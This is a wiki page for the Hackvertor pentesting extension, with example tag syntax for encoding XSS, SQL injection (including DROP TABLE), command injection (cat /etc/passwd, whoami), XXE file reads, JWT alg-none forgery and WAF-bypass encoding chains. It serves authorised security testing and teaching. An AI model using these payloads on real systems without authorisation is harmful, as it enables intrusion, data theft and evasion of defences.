Skip to content

Security Testing Examples

Gareth Heyes edited this page Dec 10, 2025 · 1 revision

Security Testing Examples

Practical examples of using Hackvertor for common security testing scenarios.

XSS Testing

Basic XSS with Encoding

Scenario: Testing for XSS where input is HTML encoded.

Payload:

<@html_entities><script>alert(1)</script></@html_entities>

Result: &lt;script&gt;alert(1)&lt;/script&gt;

Double Encoding

Scenario: Application decodes twice.

<@urlencode><@urlencode><script>alert(1)</script></@urlencode></@urlencode>

Base64 in Data URI

Scenario: XSS via data: URI.

<@base64><script>alert(document.domain)</script></@base64>

Use in: <a href="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+">click</a>

Unicode Escapes

Scenario: Filter bypasses using Unicode.

<@unicode_escapes>alert</@unicode_escapes>

Result: \u0061\u006c\u0065\u0072\u0074

Hex Entity Encoding

<@hex_entities><img src=x onerror=alert(1)></@hex_entities>

SQL Injection

Basic Encoding

Scenario: WAF blocks plain SQL keywords.

<@urlencode>' OR 1=1--</@urlencode>

Hex Encoding for MySQL

<@sql_hex>admin</@sql_hex>

Result: 0x61646d696e

Double URL Encoding

<@urlencode><@urlencode>' UNION SELECT * FROM users--</@urlencode></@urlencode>

Base64 for Filter Bypass

Some applications decode Base64 parameters:

<@base64>'; DROP TABLE users;--</@base64>

Authentication Testing

Brute Force with Variables

Set up test credentials:

Variable: username = admin
Variable: password = <@range(1,1000,1)></@range>

JWT Token Manipulation

Decode JWT payload:

<@jwt_get_payload>eyJhbGciOiJIUzI1NiIs...</@jwt_get_payload>

Create new JWT:

<@jwt('HS256','weak_secret')>{"sub":"admin","role":"admin"}</@jwt>

Try algorithm none:

<@jwt('NONE','')>{"sub":"admin"}</@jwt>

Password Encoding

Basic Auth header:

Authorization: Basic <@base64><@get_username/>:<@get_password/></@base64>

Command Injection

Encoded Commands

URL encoded:

<@urlencode>; cat /etc/passwd</@urlencode>

Hex Escaped

<@hex_escapes>|ls -la</@hex_escapes>

Base64 Payload

For systems that decode Base64:

<@base64>; whoami</@base64>

XXE Testing

Basic XXE Payload

<@base64><?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo></@base64>

URL Encoded XXE

<@urlencode_all><?xml version="1.0"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><test>&xxe;</test></@urlencode_all>

SSTI Testing

Basic Payloads

<@urlencode>{{7*7}}</@urlencode>
<@urlencode>${7*7}</@urlencode>
<@urlencode><%= 7*7 %></@urlencode>

Encoded for Filter Bypass

<@hex_entities>{{constructor.constructor('return this')()}}</@hex_entities>

API Testing

Signing Requests

Using HMAC for API signatures:

<@hmac_sha256('<@get_api_secret/>')><@context_body/></@hmac_sha256>

Timestamp Generation

X-Timestamp: <@timestamp/>

Request Hashing

X-Request-Hash: <@sha256><@context_body/></@sha256>

Fuzzing

Character Set Exploration

Generate all URL encoded characters:

<@urlencode_all><@range(0,255,1)></@range></@urlencode_all>

Random Payloads

<@random_alphanum_mixed(32)></@random_alphanum_mixed>

Mutation with Variables

<@set_variable1(false)>payload</@set_variable1>
Test 1: <@base64><@get_variable1/></@base64>
Test 2: <@urlencode><@get_variable1/></@urlencode>
Test 3: <@hex><@get_variable1/></@hex>

Encoding Chains

Triple Encoding

<@base64><@urlencode><@base64>payload</@base64></@urlencode></@base64>

Multi-Layer for WAF Bypass

<@html_entities><@urlencode><@base64><script>alert(1)</script></@base64></@urlencode></@html_entities>

Finding Working Combinations

Use Multi Encoder (Ctrl+Alt+M):

  1. Enter payload
  2. Select multiple encodings in Layer 1
  3. Add Layer 2 with more encodings
  4. Review all combinations
  5. Test promising results

Compression-Based Attacks

Gzip Payload

<@gzip_compress>Large payload data here...</@gzip_compress>

Deflate Encoding

<@deflate_compress('dynamic')>payload</@deflate_compress>

Hash-Based Testing

Password Hash Generation

MD5: <@md5>password123</@md5>
SHA1: <@sha1>password123</@sha1>
SHA256: <@sha256>password123</@sha256>

Hash Comparison

Check if hash matches:

<@if_regex('<@sha256>candidate</@sha256>','known_hash','Match','No match')>check</@if_regex>

Cryptographic Testing

XOR Decryption

If you suspect XOR encryption:

<@xor_getkey('known_plaintext')>ciphertext</@xor_getkey>

ROT13 and Caesar Ciphers

<@rotN_bruteforce>encrypted_text</@rotN_bruteforce>

AES Testing

<@aes_encrypt('1234567890123456','AES/CBC/PKCS5Padding','1234567890123456')>plaintext</@aes_encrypt>

Using Context Data

Extract and Transform Parameters

Original ID: <@context_param('id')/>
Encoded: <@base64><@context_param('id')/></@base64>

Transform Headers

Original Auth: <@context_header('Authorization')/>
Decoded: <@d_base64><@context_header('Authorization')/></@d_base64>

Full Request Hashing

Request Hash: <@sha256><@context_request/></@sha256>

Automation Examples

Tag Automator Rule: Auto-Encode Parameter

Type: HTTP Handler Analysis: Request Code:

body = request.bodyToString()
# Encode specific parameter
import re
body = re.sub(r'password=([^&]+)', lambda m: 'password=' + base64.b64encode(m.group(1).encode()).decode(), body)
request.withBody(body)

Tag Automator Rule: Add Signature

Type: HTTP Handler Analysis: Request Code:

import hashlib
body = request.bodyToString()
sig = hashlib.sha256(body.encode()).hexdigest()
request.withHeader('X-Signature', sig)

Tips

  1. Start simple: Test single encodings before chaining
  2. Use Smart Decode: Understand how target decodes data
  3. Check responses: Verify encoding worked as expected
  4. Document findings: Note which encodings bypass which controls
  5. Use variables: Store payloads for consistency
  6. Multi Encoder: Explore combinations systematically

Clone this wiki locally